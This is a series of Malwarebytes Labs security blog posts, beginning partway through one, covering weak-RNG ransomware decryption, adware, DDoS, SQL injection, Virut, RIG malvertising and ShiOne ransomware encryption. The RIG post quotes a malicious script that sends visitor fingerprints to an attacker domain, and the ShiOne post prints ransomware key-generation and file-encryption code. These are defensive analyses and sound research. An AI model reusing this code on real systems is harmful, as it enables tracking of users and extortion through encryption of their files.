An example of this is shown below. The system time is being used as the seed for a weak random number generator.

For the most part, any computer algorithm can only perform a finite series of operations. If the inputs to a function are the same, the output must also be the same. It is quite logical. In the case of random generators, the ingenuity is in taking enough inputs to seed the random value so that the output is not east to recreate. For example, some weak generators take the time of day as an input. Although this is, in a way, obscure, the conditions can definitely be recreated. What is necessary is to use enough semi-random inputs to give you enough entropy.

As you can see above, a more solid random generator may sample audio data, in addition to the time of day, and use mouse input and a number of other elements to try to make the inputs as random as possible. This requires an unreasonable amount of operations to brute force or recreate.

Theoretical process of cracking weak RNG

Here is a theoretical example for ransomware using a weak generator referred to as RNG. Suppose that the ransomware used a RNG-seeded with the current time in microseconds and the encryption is a standard algorithm. These are the basic steps for an attack:

  • Network admin analyzes the ransomware and sees that the public key, which was used to encrypt, is used as the victim ID for the ransomware.
  • The network admin knows roughly the time at which the infection occurred on his network, possibly by looking at the network logs. Let’s say it occurred sometime between 10:00:00am and 10:00:10am—a 10-second window.
  • Since the RNG uses the time in microseconds, that leaves him with 10,000,000 possible seeds.
  • The admin then says to himself, “If the ransomware used time as seed value x, then the encryption code produces the key pair value KEYx
  • He incrementally uses microseconds, one by one, starting at 10:00:00, to perform the key pair creation using some standard software.
  • Now he checks to see if that matches the public key (victim ID) he has obtained.
  • Nope, it did not match. That means the RNG did not use x (10:00:00AM) as the seed.
  • He tries again with x+1 and so on, until he reaches the final microsecond before 10:00:10am.
  • Eventually, a match will be made—the generated public key will match the victim ID.
  • He will now know that the private key generated is the same as the one which was generated during the encryption of his hard drive.
  • Now he can take that private key, run it through his off-the-shelf decryption software, and have the original file back.

In this scenario, a brute force attack is completely within reason. Now, if the RNG used milliseconds, in combination with the number of processes running at the given time, that adds a bit more complexity. It would take the initial 10,000,000 possibilities multiplied by the range of potential processes running on the machine. You can assume it might be somewhere between 5 and 25 processes. So now, that initial 10,000,000 attempts becomes 200,000,000. It is still iterate-able, but has added more complexity. You get the point.

If you add enough parameters, or parameters with a lot of possible outcomes, the number will eventually become so big where a brute force attempt would not be possible in your lifetime, as shown below.

Decryption in practice 

Below is a list of a few examples of ransomware that were successfully broken and the methods used.

  • 7ev3n, XORist, Bart: Weak encryption algorithm
  • Petya: Mistakes in cryptography implementation
  • DMA Locker, CryptXXX: Weak key generator
  • Cerber: Server-side vulnerability
  • Chimera: Leaked keys
Weak encryption algorithm 

The DES algorithm was developed in the 1970s and was widely used for encryption. It is now considered a weak encryption algorithm because of its key size. The amount of bits generated as the key for an encryption algorithm is one of the considerations for the strength of an algorithm. For example, there was a contest to crack a 40-bit cipher which was won by a student using a few hundred machines at his university. It took only three and half hours. The bigger the size of the key, the harder it will be to crack an encryption—that is, without knowing anything about it.

Not to say that the common analyst has access to such resources, but I just wanted to give you a better understanding of why an encryption algorithm might be considered weak.

Often times, you can get an initial idea of whether the encryption method is solid or not by simply looking at a visualization of the files.

As you can see here, there is low entropy, and the data within the encrypted file shows similarities to the original plaintext. This could mean that there is a weakness to be exploited.

Let’s compare this to a file encrypted with a solid algorithm. You will be able to tell the difference in the high entropy result from encryption:

The file visualization can also be a good starting point when researching to see if a given ransomware is able to be decrypted. It can also point you in the direction of which part of the process you may be looking to attack to break the encryption. In this case, the entropy is good, which leads us to believe that the encryption might be strong. But as you saw from the list above, Cerber was broken by exploiting a server-side vulnerability. So although the encryption itself was strong, a side channel was attacked in order to create a decryptor.


In this post, we covered the need for identification and classification of the encryption algorithm used in order to look for weaknesses. We then went through a primer on identifying what the code might look like. We covered various weaknesses that can potentially be exploited and walked through a theoretical example of a scenario where a network admin might be able to decrypt the ransomware.

Tune in for part four, the final part of our Encryption 101 series, where we will go through the code of a weak ransomware and walk through, line by line, the process of creating a decryptor.

The post Encryption 101: How to break encryption appeared first on Malwarebytes Labs.

Categories: Techie Feeds

Mobile Menace Monday: Olympics app has more ads than games

Malwarebytes - Mon, 03/05/2018 - 18:00

An app claiming to live stream the 2018 Winter Olympics (but really serving up a blizzard of ads) had a short run on Google Play. It was uploaded to the Play store on February 8, 2018. Since then, it’s been removed. The last known existence of it on the store was a cached snapshot from February 10.

Poorly-made app

At first, things seem normal with a simple opening screen.

After displaying the first ad, it goes onto a navigation screen.

Click on each live stream link, and it’s a gamble whether it actually redirects to a functioning live stream or not. I found that most of the time, the app crashed. In contrast, the app’s ability to display ads never falters.

Click to view slideshow. More ads than games

An app serving up ads in order to use it for free is nothing new, and most of us humbly accept. The decision for mobile malware researchers to classify some of these apps as adware isn’t always easy. In this case, the Olympic streaming app doesn’t use anything unusual to serve ads. To put it another way, it isn’t using any known aggressive Ad SDKs. However, when these ads pop up after every click, it’s excessive.

It’s clear that the true intent here is not to live stream the Olympics, but to serve up as many ads as possible before the app crashes. Thus, we gave this failed app a classification of Android/Adware.LiveStream.

Combing through Google Play

The sheer number of apps like these found on Google Play that teeter on the line between clean or adware is overwhelming. As we have found time and time again, it’s impossible for Google Play to catch all of these. This is true even with Google’s more advanced Play Protect feature.

Moreover, it’s impossible for mobile malware researchers to keep up with all these “grey” apps as well. This is especially true with special cases like these, where detailed analysis is needed to make a determination. It’s important to note that even if apps like these do slip through, they are generally low risk.

User responsibility: tips to stay safe

Due to the overwhelming number of questionable apps on Google Play, some responsibility to pick safe apps must fall on users. Here are some tips to stay safe.

Check the details

Before installing an app, check the app’s details page for evidence of anything out of the ordinary. Things to look for are the app’s reviews, number of installs, and the last update. If there are a low number of reviews and/or the app has poor reviews, be wary. The same goes for a low number of installs of the app.

Lastly, if the app was recently updated, this could indicate that it was also recently uploaded to Google Play—which isn’t necessarily a bad thing, but it does make it harder to vet the app’s security. Unfortunately, Google Play doesn’t display when the app was first uploaded, so the updated date is the best data you have to determine whether it’s new or not.

If, after all this, you decide to install the app and it contains what you think is adware, no need to panic. Most of these grey apps just display annoying ads, and there is no other harm. Simply uninstall and go on with your day.

APK Samples

MD5: 9338E7E6D378DE01C14DB939D51B1D11

Package Name: com.ww2018OLYMPICLIVETV_6516426

The post Mobile Menace Monday: Olympics app has more ads than games appeared first on Malwarebytes Labs.

Categories: Techie Feeds

Week in security (February 26 – March 4)

Malwarebytes - Mon, 03/05/2018 - 17:00

Last week on Malwarebytes Labs, we explained how to protect your computer from malicious cryptomining, we gave an encryption 101 lesson using ShiOne ransomware as a case study, and we offered an explanation about SQL injection. We also released a report on the state of malicious cryptomining from its first resurgence in the fall until now.

In active malware, we discussed how the RIG malvertising campaign uses cryptocurrency themes as a decoy, how an old virus made its way onto a Chinese DDoS bot, and how a massive DDoS attack washed over GitHub.

We also drew your attention to our own Chris Boyd appearing in Jenny Radcliffe’s Human Factor Podcast.

Other news
  • Does your endpoint solution stop fileless attacks? They are gaining traction, says a Ponemon Institute study. (Source: Bricata)
  • Feedless is an iOS content blocker that takes the media out of social media. (Source: The Verge)
  • A serious remote code execution vulnerability in both the ‘μTorrent desktop app for Windows and the newly launched ‘μTorrent Web’ was reported. (Source: The Hacker News)
  • But apparently, the Torrent vulnerabilities have already been fixed. (Source: The BitTorrent Engineering Blog)
  • An ad network used an advanced malware technique to conceal CPU-draining mining ads. (Source: Ars Technica)
  • US Supreme Court wrestles with Microsoft data privacy fight. (Source: Reuters)
  • Loapi cryptocurrency mining malware is so powerful it can melt your phone. (Source: Newsweek)
  • German government Intranet under ongoing attack. (Source: TheGuardian)
  • Trustico states they stored private keys for customers’ SSL certificates. (Source: Bleeping Computer)
  • Flash exploit CVE-2018-4878 was spotted in the wild as part of massive malspam campaign. (Source: Morphisec)
  • Equifax says hackers stole more than previously reported. (Source: CBS Philly)
  • Virus downs hundreds of Tim Hortons cash registers; furious owners threaten lawsuit. (Source: CTV News)
  • SgxSpectre attack can extract data from Intel SGX enclaves. (Source: Bleeping Computer)

Stay safe, everyone!

The post Week in security (February 26 – March 4) appeared first on Malwarebytes Labs.

Categories: Techie Feeds

Massive DDoS attack washes over GitHub

Malwarebytes - Fri, 03/02/2018 - 19:26

There’s been some huge DDoS (distributed denial of service) attacks over the years, but we’ve been…lucky?…enough to witness the latest raising of the stakes in the last couple of days.

GitHub, an incredibly important code resource for major organisations around the world, fell victim to a colossal DDoS attack on Wednesday—the largest ever on record—helped along by something called Memcrashing (more on this later). 1.35 terabits per second of traffic hit GitHub all at once, causing intermittent outages. However, GitHub was prepared, and the attackers backed off quickly when they realized they had met their match.

GitHub? What’s that?

Launched in 2008, GitHub is a launchpad for all things code—from a library of files with revisions to forks (branching off to make code alterations while leaving the originals untouched) to groups being able to alter code collaboratively. It’s a crucial resource for programmers.

Anything able to interfere with the otherwise smooth operation of GitHub could quickly cause chaos. If one of your company’s key pieces of DNA is rapid updates and alterations to code, then a GitHub crash could take you out of action until everything is up and working again. Of course, you should always have local copies of files in the event of an outage, but it’s not quite the same as being able to do everything, with everyone, at all hours of the day.

Many have speculated what would happen if GitHub were to have a total out-for-the-count moment, but thankfully we’re not quite at the level of Ancient Libraries of Alexandria panic.

What’s Memcrashing?

For that, you need to know what Memcached is. Memcached is an open-source distributed caching system. Lots of sites and services make use of it to alleviate database load by caching things in RAM, and only rolling them out to places that need it, when they need it. Unfortunately, sysadmins are leaving Memcached exposed over the Internet (you’re not supposed to do this), and then people with mischief in mind are using those exposed nodes to “amplify” already powerful DDoS attacks into the digital stratosphere. The technical name for this is a “UDP-based reflection attack vector,” which is just a fancy way of saying, “We’re going to bury your server under a thousand miles of data-driven concrete.”

Despite the sheer size of the attack, Github had taken proactive steps to ensure any DDoS would have to jump through quite a few hoops to take the site offline. As it turns out, they had just ten minutes of intermittent downtime before anti-DDoS technology played the role of the calvary, and just eight minutes later, the attack started to drain away to nothing (by comparison).

Previously, on the “GitHub attacked by DDoS channel”…

You’d probably have to go back to 2015 and China’s so-called “Great Cannon” to see a similarly massive attack. The cannon was used to launch a five-day assault on, you guessed it, GitHub, and the suspicion was that the attacks were political in nature. This most recent attack is still a developing story, and it’ll be interesting to see where the blame potentially lies, though of course the main priority right now is that GitHub ensures they’re doing everything they can to ward off any follow-up attacks.

If you’re running Memcached and need to shore things up, there’s a couple of things you can try. You really owe it to your fellow netizens to patch any exposed soft spots; few have the resources available to GitHub, and even the mightiest may struggle with an attack clocking in at 51,000 times their original strength. If you’re just a regular organisation, with a regular website, and a standard off-the-shelf-hosting deal, you might have a bit more trouble. We’re back to that whole server, thousand miles, data-driven concrete thing again—and unlike GitHub, you probably won’t be able to claw your way back out until the attackers get bored and move on.

DDoS attacks have been around for a long time, and I remember when a 600MB+/second attack was the biggest thing around. Time and tech wait for no one, and the ability of scammers is now leagues beyond what was once available. The arms race between offence and defence where DDoS is concerned is never-ending, and it’s up to all of us to do our bit and help to keep the possibility of attacks down to a minimum.

Avoiding dubious files will help keep you out of a botnet attack. Hiding services from the web that don’t need to be there will prevent bad people from using them for nefarious purposes. Whether you’re in charge of a multinational corporation or you’re running your website and services from your home, there’s no excuse not to get patching and avoid a fresh wave of DDoS.

The post Massive DDoS attack washes over GitHub appeared first on Malwarebytes Labs.

Categories: Techie Feeds

Explained: SQL injection

Malwarebytes - Fri, 03/02/2018 - 18:30

Even though SQL injection is a type of attack that is relatively easy to prevent, it is one of the most common web hacking techniques. So, what’s it all about?

The basics

SQL is short for Structured Query Language and usually pronounced as “sequel.” SQL is a standard language used to query and change the content of databases. It was originally designed to perform business analyses. But with the implementation of product-specific application programming interfaces (API) and the growth of online applications, it quickly became more widely used.

Consider, for example, searching for a certain item in a big online store. What happens behind the scene is an SQL query on the databases containing products, pricing, and stock. And if you’re logged in as a customer, it might even include some of your preferences.

Example of a SQL query in a webstore

SQL injection

SQL injection is something that can happen when you offer the website visitors the option to initiate a SQL query without applying validation of the input. The effects are potentially horrible, since SQL injection might destroy your database or give the attacker access to parts of the database that you do not want publicly known. Attackers could be after personally identifiable information of your customers or the list of your suppliers.

While the most common use of SQL injection is for web applications, this is certainly not the only type of application that is vulnerable to these attacks. Basically, anything that asks for user input and uses a SQL-based database could be compromised this way without proper validation of the input, regardless of whether the input is stored in the database or initiates a query.


SQL injection is possible when the attacker applies any kind of code injection technique. These possibilities are called vulnerabilities because it makes the application vulnerable to nefarious SQL statements being inserted into an entry field and executed as commands. To execute a SQL injection, the attacker has to find and exploit a security vulnerability in an application, such as when user input is incorrectly filtered for string literal escape. This filtering is what we call validation. The input can be expected to have a certain format and should be rejected or sanitized if it does not match our expectations.

Above is a greatly exaggerated example of completely unfiltered php code. The input from the “name” field on the website goes straight into the SQL query. In this code, we can’t see what happens with the result of the query, but often it will be displayed in some form on the site. And with a little bit of trial and error, the attacker could retrieve the administrator’s username and change his password just by entering a string of valid SQL commands in the “name” field. That is why we call it SQL injection. An attacker can squeeze in his own strings of code.

Possible goals of the attack

There are several reasons why an attacker would use SQL injection.

  • Destruction: For whatever reason, the attacker wants to put the application or site out of business. You may have seen developers use the “drop table” when making fun of SQL-related accidents. The “drop table” command followed by the name of one of the tables in the database will make it delete the entire table with that name. Rebuilding such a table will be time-consuming—if it is possible in the first place.
  • Stealing information: Data breaches, anyone? The impact to your company is, at a minimum, the loss of trust of your customers and could completely put you out of business.
  • Feeding false information: An attacker could raise his credit or lead you to make business decisions based on false information. Both could cost you dearly.
  • Taking over control: An attacker that has control over your database may want to feed you false information, deny your access, or remove valuable information.

Knowing what the attackers are after and which methods are used to attack should help you to prevent successful attacks.

For example, a common method to steal passwords is to trick your search results into displaying them. The only thing the attacker needs to do is see if there are any submitted variables used in SQL statements that they can pass unfiltered. These filters can be set to customize WHERE, ORDER BY, LIMIT, and OFFSET clauses in select statements. The union operator is used to combine the result-set of two or more select statements. If your database supports this construct, the attacker might try to add an extra query to the original one. This query could be used to list passwords or usernames. On top of sanitizing input, using encrypted password fields is another defensive weapon you can use.

Encrypting important data and building some filters to validate the input goes a long way. Obviously, the method of validation depends on the application itself and the coding language. Methods of attack that work in PHP might fail in ASP, for example. Excluding certain characters that are unexpected and/or irrelevant in a text field is a good start.

Is it more important to accommodate the customer who wants to be addressed as Mr. & Mrs. Jones or to avoid the risk of an attacker happily being able to use the “&&” symbols that are a valid command in SQL queries and many coding languages. It doesn’t have to be one or the other, by the way. You can accept the input of such characters as long as you make sure they are dealt with before they are added to the query commands.


SQL injection is the placement of unauthorized code into SQL statements and is one of the many web attack mechanisms used by hackers to steal data. It is perhaps one of the most common application layer attacks. Knowing what attackers are after and what methods they are using can help you protect your business from these types of attacks.


The post Explained: SQL injection appeared first on Malwarebytes Labs.

Categories: Techie Feeds

Blast from the past: stowaway Virut delivered with Chinese DDoS bot

Malwarebytes - Thu, 03/01/2018 - 16:00

Recently, we described an unusual Chinese drive-by attack that was delivering a variant of the Avzhan DDoS bot. The attack also contained multiple components that were not-so-new. Among the exploits, the newest was from 2016. Avzhan is also not a recent malware—the compilation timestamp of the unpacked payload was from August 2015. But there was one more unusual thing that triggered our attention. The outer layer of Avzhan matched the signatures of Virut, a malware that’s been dead in the water since 2013.

At first, it was hard to believe this detection. Who would want to distribute such an old piece of malware that is no longer developed, and whose CnC servers were sinkholed long ago by Polish CERT? Maybe it was the author of the packer by which the DDoS bot was wrapped incorporating some Virut-like obfuscation?

After further research, it turned out the detection was not wrong. The Avzhan bot carried along with it a legitimate Virut. But it is unlikely that the distributors added it intentionally. Rather, the server from where the attack was deployed happened to be infected with Virut. The virus attached as a parasite to the distributed DDoS malware, and was dropped with the drive-by attack into new places. Interestingly, in 2016 Virut’s code was also found in Chinese cameras. Similarly, the computers of developers were infected with Virut, and by this way its code got passed further.

Since Virut has made this unexpected reappearance, we will have a look at how it works in this post.

Analyzed sample

05749f08ebd9762511c6da92481e87d8 – the main sample, dropped by the exploit

Behavioral analysis

Virut behaves like a typical, old-fashioned infectious virus. As we observed, samples infected by Virut always crashed on 64-bit systems.

However, when deployed in a 32-bit environment, Virut spread like fire, trying to infect all executables it could reach by attaching its own code. The code of Virut is polymorphic and designed with great care, so the infection patterns are not easy to grasp. Often (if there is enough space), Virut adds a new, empty section with a random name, for example:

If there is no space for a new header in the input file, this step is omitted. So, the absence of the added section does not guarantee that the file is clean. Another suspicious indicator may be that the last section is set to RWX (Read-Write-eXecute).

Virut changes sizes of the sections and the entry point of the application in order to redirect to its own code. After the malicious code is deployed, the original entry point is executed. So, from the user’s point of view, the infected application works as before.

In addition to infecting files on the disk, Virut attacks running processes as well. So, even if the first infected process was killed, the malicious code keeps running in the memory.

The malware uses some hardcoded CnC addresses, as well as a DGA (Domain Generation Algorithm). Looking at the network traffic, we can see the queries to the domains follow the pattern of using six letters before the dot com: 6{a-z}.com

Due to the fact that the full infrastructure of Virut was sinkholed, none of its CnC servers are active.

Inside Infection patterns

As mentioned before, Virut’s code can mutate—each infection looks different. Some of the chosen patterns depend on the features of the input.

In PE files, each section must be aligned to the minimal unit that is indicated by a file alignment field in the PE header. This is why sometimes there is an empty space between one PE section and the other, filled only with padding. This empty space is called the cave. Old infectors often used this space to implant their own code. This is what Virut also tries to do.

In the example below, a cave after the .text section has been filled with malicious code:

Depending on the input, there may not be sufficient caves between sections. Then, Virut adds its code just at the end of the last section:

But this is not the only thing that impacts the features of the infection. The code generated by Virut is polymorphic, so the same file will not be infected twice in the same way. Below is a comparison of code from the same application, infected by Virut in two different runs:

Virut’s shellcode

The code appended to the infected files makes an initial stub that unpacks in the memory of Virut’s shellcode. That is a heart of the malware. This is how the unpacked shellcode looks:

The same code is also injected into other processes. It is implanted in a new page in the memory. Example:

The shellcode contains the functionality of a userland rootkit. It hooks NTDLL within every infected process so that each time the specific function is called, the execution is redirected first to Virut’s implant. There are seven functions that are hooked:

  1. NtCreateFile
  2. NtCreateProcess
  3. NtCreateProcessEx
  4. NtCreateUserProcess
  5. NtDeviceIoControlFile
  6. NtOpenFile
  7. NtQueryInformationProcess

Below you can see an example of the hooked function NtCreateFile. As you can see, the first instruction is a call to the malicious memory page:

And this is how the code looks that is being called:

We also find the lists of AV products, that Virut uses in order to check if it is running in the controlled environment:

Apart from the rootkit, it contains the code responsible for communication with the CnC. For example, among the embedded strings we found IRC commands that suggest that IRC was part of Virut’s communication:

List of command patterns:

PING NICK nrmbhoz PRIV JOIN #.%d DSTAMP %s%02d%02d

There are also hardcoded addresses of the CnCs. Two servers are static and always occur in Virut samples (both of them are sinkholed by Polish CERT):

But, we can also see the domains generated by the Virut’s DGA:

While the code infecting the file mutates, the injected shellcode has a pretty consistent structure. If we compare dumps from two different processes, we find that most of the code is the same.


Nowadays, such old viruses are mostly forgotten, but it doesn’t mean that we are fully safe from them. Fortunately, most AV products can detect viruses like Virut by their signatures – but the people who decided not to use AV may still become their victims.

Even their command-and-controll infrastructure is dead, the old infectors can roam around. There are old servers in the world that are left infected with old viruses, such as Virut or MyDoom. On our honeypots, we regularly get spam that is being sent from such abandoned bots.

Yet, it is unusual to encounter an old virus in wild sent by a modern-style drive-by attack. We never know how an old threat can get blended with a new one. This time we were lucky and the attack was simple, with a small reach.

Malwarebytes detects this DDoS bot binary as Trojan.Bayrob.

The post Blast from the past: stowaway Virut delivered with Chinese DDoS bot appeared first on Malwarebytes Labs.

Categories: Techie Feeds

RIG malvertising campaign uses cryptocurrency theme as decoy

Malwarebytes - Wed, 02/28/2018 - 16:45

For a couple of weeks, we have been observing a malvertising campaign that uses decoy websites to redirect users to the RIG exploit kit. Those sites, whose theme is about cryptocurrencies, were all registered recently and are swapped after a few days of use.

The initial redirection starts off from a malvertising redirect, which loads the decoy page containing a third-party JavaScript. The JavaScript appears to be conditionally loaded based on the visitor’s user agent and geolocation.

That JavaScript contains many different ways to fingerprint users and determine whether they are legitimate or not by validating some checks:

  • getHasLiedLanguages
  • getHasLiedResolution
  • getHasLiedOS
  • getHasLiedBrowser

The results are then sent back to the server with the following code snippet:

//botDetect.onUser(function () { var fp = new Fingerprint2(); fp.get(function(result, components) { var head = document.head || document.getElementsByTagName('head')[0]; var script = document.createElement('script'); script.type = 'text/javascript'; script.src = 'http://binaryrobotplus[.]top/rrr/' + result; head.appendChild(script); iframePost('http://binaryrobotplus[.]top/logs/fff', { fingerprintjs: JSON.stringify(components) });

The final step consists of a response with a blurb containing an iframe to RIG EK:

Quiet campaign

So far, we have not collected many hits via this campaign. Because it was new to us, we decided to call it Coins LTD, based on the numerous references to cryptocurrencies in the decoy page.

[Update] This campaign is also tracked as ‘etags’.

privateadult4you[.]club/ -> airmapanalytics[.]top/iframe/mapss.js -> ashlemainstreammm[.]club/?q=w3_QMvXcJx7QFY{truncated} Undocumented Injection (Stage 1) fake dating site -> privateadult4you[.]club 212.237.23[.]174 Etags Malicious Redirector (Stage 2) -> 212.237.5[.]244 RIG EK Landing Page -> ashlemainstreammm[.]club 109.236.83[.]87 RIG EK Flash Object -> RIG EK Flash Object 212.237.23[.]174 AS31034 | IT | ARUBA-ASN 212.237.5[.]244 AS31034 | IT | ARUBA-ASN 109.236.83[.]87 AS49981 | NL | WORLDSTREAM 185.158.112[.]49 AS44812 | UA | IPSERVER-RU-NET ## Response Headers for Etags - airmapanalytics[.]top X-Powered-By Express Content-Type application/javascript; charset=utf-8 Content-Length 332 ETag W/"14c-SUotFKLILwhh6umKmaC23SYcKJA" Date Mon, 08 May 2017 16:42:39 GMT Connection keep-alive

Thanks to @anti_expl0it for the additional data.

It is identical from infection to infection, and so far we have collected only two kinds of payloads: TrickBot and Ramnit.

Other researchers, such as Baber Pervez, have caught this redirection chain as well, which recently slightly changed its URI pattern. However, the same primary domain and secondary one (JS fingerprint) have been rotating and are hosted on two distinct IP addresses, as per the diagram below:

This is one of a handful of malvertising campaigns that we have been tracking. It’s worth noting how it also has similar filtering steps to avoid bots, and that it relies on a decoy gate, which seems to be a common practice these days.

We will keep tabs on this campaign—in particular on what payloads it drops in the future. Malwarebytes users are protected from this drive-by attack.

Indicators of compromise


5.135.234[.]116 212.237.12[.]253 137.74.159[.]216


cryptoearnings[.]xyz mybinaryearns[.]top protectforex[.]top mymoneyfixing[.]top investingtodayfix[.]top profitablesoft[.]top myearnmoneybin[.]top coinsdouble[.]top wowmoney[.]top doublecoin[.]top myrobotearn[.]top earnthismoney[.]top doitmoneyforyou[.]top binaryearnforex[.]top bitcoinrobotplus[.]top binaryrobotplus[.]top ocoins[.]xyz upfixmoney[.]top





The post RIG malvertising campaign uses cryptocurrency theme as decoy appeared first on Malwarebytes Labs.

Categories: Techie Feeds

Encryption 101: ShiOne ransomware case study

Malwarebytes - Wed, 02/28/2018 - 16:00

In part one of this series, Encryption 101: a malware analyst’s primer, we introduced some of the basic encryption concepts used in malware. If you haven’t read it, we suggest going back for a review, as it’s necessary in order to be able to fully follow part two, our case study. In this study, we will be reviewing the encryption of the ransomware ShiOne line by line.

The main focus of this case study will be to fully understand an example of the encryption process that ransomware can use. We are using ShiOne as the practical portion of the lesson not because it is particularly unique or uses any novel techniques, but just the opposite: It’s relatively straight-forward and is written in C#, which will make it much easier to show key components.

Encryption method

In the previous article, we spoke of a couple different encryption methods ransomware can use. They include the following:

  • The encryption keys are generated locally on the victim computer and sent up to the C2 server.
  • Keys are generated pre-distribution and embedded within the ransomware.

For this particular sample, we will be showing the second case. The encryption keys are generated offline and embedded into the malware before being sent out for an attack.

When I say the encryption keys are generated offline and embedded, I am speaking specifically of the asymmetric keys. We will see going forward that we have both RSA and AES encryption algorithms used in this ransomware.

AES is a symmetric algorithm, which means that the same key used to encrypt will also be used to decrypt. You can think of it as a password to encrypt and decrypt. The keys for AES are actually generated dynamically and stored within the file itself. The actual file encryption for this ransomware uses this AES encryption.

RSA is the asymmetric part of this process—the pre-generated and embedded part. It is there to hide the AES key (password), which encrypts each file. Only the public key of the RSA pair is inside of this malware because it is only doing the encryption portion. In ransomware, it is actually very common to see this combination of symmetric/asymmetric encryption being used.

Main encryption function

The sample we analyzed was:


After skipping past initialization and the portion of the malware that enumerates the files in the drive, (as this is quite standard and does not need any extra explanation), we get to the main encryption function below called crtp(string path).

This function is called from the main directory enumeration loop, and as such, it will be called separately for each file it finds. It is the only function in the program that calls any cryptographic APIs or random number generators. Off the bat, this tells us that it is likely that a unique key will be used to encrypt each file.

I want to add one note. As stated earlier, the main encryption keys are generated offline and embedded into the malware by its author. In contrast, if this were the type of ransomware that generates the main keys locally, then we would definitely be seeing crypto functions being called before the directory search loop, outside of the crpt function. Again, this is not the case here, which is why we skipped the initialization code of this malware.

Let’s walk through the details of the crtp function:

The encryption process starts off by calling: string text = Program.CreateSalt(32);

This is a user-defined function that simply calls a standard encryption API to generate an array of 32 random numbers. This function is actually quite important because the random byte array here is used later as the (password) AES key for encryption. It will give each file on the victim’s computer a unique encryption because a new key is generated for each file. So, even if two files are identical on the user’s system, they will have different ciphertext.

Details of the CreateSalt function //FUNCTION PROGRAM.CREATESALT() { RNGCryptoServiceProvider rNGCryptoServiceProvider = new RNGCryptoServiceProvider(); byte[] array = new byte[size]; rNGCryptoServiceProvider.GetBytes(array); return Convert.ToBase64String(array);

This really is the most important number generated in this entire malware because it is what the purchased key from the ransomware will allow you to access in order to decrypt each file.

Random number generator

Before continuing on, I want to mention briefly some details about the RNG (random number generator).

RNGCryptoServiceProvider is the default implementation of a security standard compliant random number generator. It is a stronger cryptographically random number. A weak alternative to this is System.Random. It is a simpler calculation, and can be much more easily replicated by a hacker, or in our case, a malware analyst. Still, there are some malware authors who use System.Random, and in those cases, there is a possibility for decryption. The RNG is something as an analyst you should be paying attention to, which is why I thought it deserved mention here.

We concluded that this sample is using a strong RNG, so we can continue on.

We will now skip the details of the next section of code, which simply filters what file types the ransomware wants to encrypt. It is easy to understand and plays no role in the actual encryption process itself.

This now brings us to the next code block, which creates another random array using the same RNG internal functions as before:

byte[] array = Program.GenerateRandomSalt();

I am not including the details of the GenerateRandomSalt() function because it is not much different from the previous code. This array will be used as salt for the main file encryption, which will be explained later on in the code flow.

Next, the ransomware takes the first number that was generated at the beginning of the array (text variable), and calls a function to encrypt it for storage:

string s = Program.Encryption(text)

As stated above, that set of numbers will actually be used as the AES key going forward. To be clear, the text variable is used as a key in its plain text form, but is then encrypted and tacked on to the end of the file for storage. The flowchart above illustrates this point.

Encryption functionality

Here’s how the encryption works during the attack. The ransomware:

  • Generates RSA public and private keys (either locally or pre-generated offline).
  • Generates a random number as input (password) for generating the AES key.
  • Encrypts files using the newly-created AES key.
  • Encrypts the AES key with RSA public key.
  • Appends the encrypted AES key within the encrypted file.

Here’s how threat actors decrypt the file after the ransom has been paid. They:

  • Find the encrypted file.
  • Search the file for the encrypted AES password.
  • Read into memory for the encrypted password seed for the AES key.
  • Use the RSA private key to decrypt the AES password.
  • Use this plaintext password as input for AES decrypt.

The details of the Encryption(text) function are shown below.

[The highlighted line is where the ransomware is pulling the embedded public key.]

The ransomware starts by taking the public key, which is embedded in the executable itself, and uses that to encrypt the passed in random number (text AKA, AES key password) using RSA 2048.

NOTE: This function has nothing to do with the actual file encryption. It is simply used by the ransomware to hide its AES key to the user. In practice, this function could be completely skipped and would have no effect on the functionality of the actual file encryptor.

The important thing to take away from this is that the public key was embedded into the malware. This means that the RSA keys were not generated dynamically, implying that the RSA public and private key pair were generated on the malware server side, so only the author has access to the decryption key.

Performing the encryption

At this point, the ransomware has everything it needs to perform the unique encryption for the current file.  The encryption used in this particular case is AES in CBC mode (cipher block chaining). What this means is that it will loop through the data of the original file to be encrypted and the file’s data will be encrypted in chunks, or blocks. Each iteration of the loop is encrypting a sequential block of data from the original file.

for (i = 0; i < num; i += array3.Length) { int len = fileStream.Read(array2, 0, array2.Length); array3 = Program.AES_(array2, bytes, array, len); fileStream.Seek((long)i, SeekOrigin.Begin); fileStream.Write(array3, 0, array3.Length); }

Lets go deeper into this function: array3 = Program.AES_(array2, bytes, array, len); as this will be the function that actually performs the file encryption.

Going over the parameters to AES_ function, array2 is the original file data, bytes is the “password” random number generated at the beginning with Program.CreateSalt(32); and array is the second random array generated as salt for the encryption process created with Program.GenerateRandomSalt(); Of course, len is the length of the data from the file to be encrypted.

As you can see here, the method for actually encrypting the file is AES. The algorithm uses salt to further randomize the “passwordBytes” (AES KEY) passed in. This is standard for AES. AES CBC mode requires an initialization vector as spoken of earlier, and you can see it here in the code. The function of generateIV() is simply another random number generator. It then performs the AES encryption, block by block, on the original file data. Each block that is encrypted actually uses a different IV. This will be tacked on to the end of that block’s encrypted bytes. This is important because the decryption algorithm needs to know what IV was used for the current block.

Now in the final stage of the crypt function, after the file has been fully encrypted, the ransomware starts out by writing the salt value into the file. Then it writes out the RSA encrypted AES password, and finally, the actual encrypted file data (ciphertext). Again, this ciphertext includes the salt values for each block.

When the decryptor software runs, it will cycle each file and read in the salt value. It will then decrypt the AES key using the RSA private key, which will be embedded into the decryptor. Finally, it will read in the encrypted file data and IVs. It now has everything it needs to reverse the encryption.


In this case study, we covered the detailed functionality of a standard file encryptor. Tune in for part three of the Encryption 101 series, where we will be covering weaknesses in encryption, analyzing an example of ransomware implementing weak encryption, and discussing how to create a file decryptor.

The post Encryption 101: ShiOne ransomware case study appeared first on Malwarebytes Labs.

Categories: Techie Feeds

Human Factor Podcast: Jenny Radcliffe and Chris Boyd

Malwarebytes - Tue, 02/27/2018 - 18:56

A little while ago, I was invited to take part in Jenny Radcliffe’s Human Factor Podcast. With 44 episodes strong (and counting!), Jenny spends an hour or so talking at length with her guests who are professional investigators, security advocates, all-round educators, tireless consultant/conference organisers, and many more besides.

In Episode 41, you’ll hear me talk about:

[00:01:00]: How I originally became interested in computers as a child
[00:04:00]: Some of my non-infosec work
[00:07:55]: Why my original career plans fell through
[00:13:00]: A slight—okay, more than slight—detour into mainland China
[00:30:00]: Some of the earliest security research I took part in and old school adware vendor wars
[00:34:54]: Why companies need to invest in writers, public facing research, and active conference participation
[00:37:00]: The rise of DIY scams, games company compromises, privacy policies, and the possible perils of virtual/augmented reality
[00:44:15]: Trying to predict a problem and getting people to listen
[00:49:00]: The human side of security
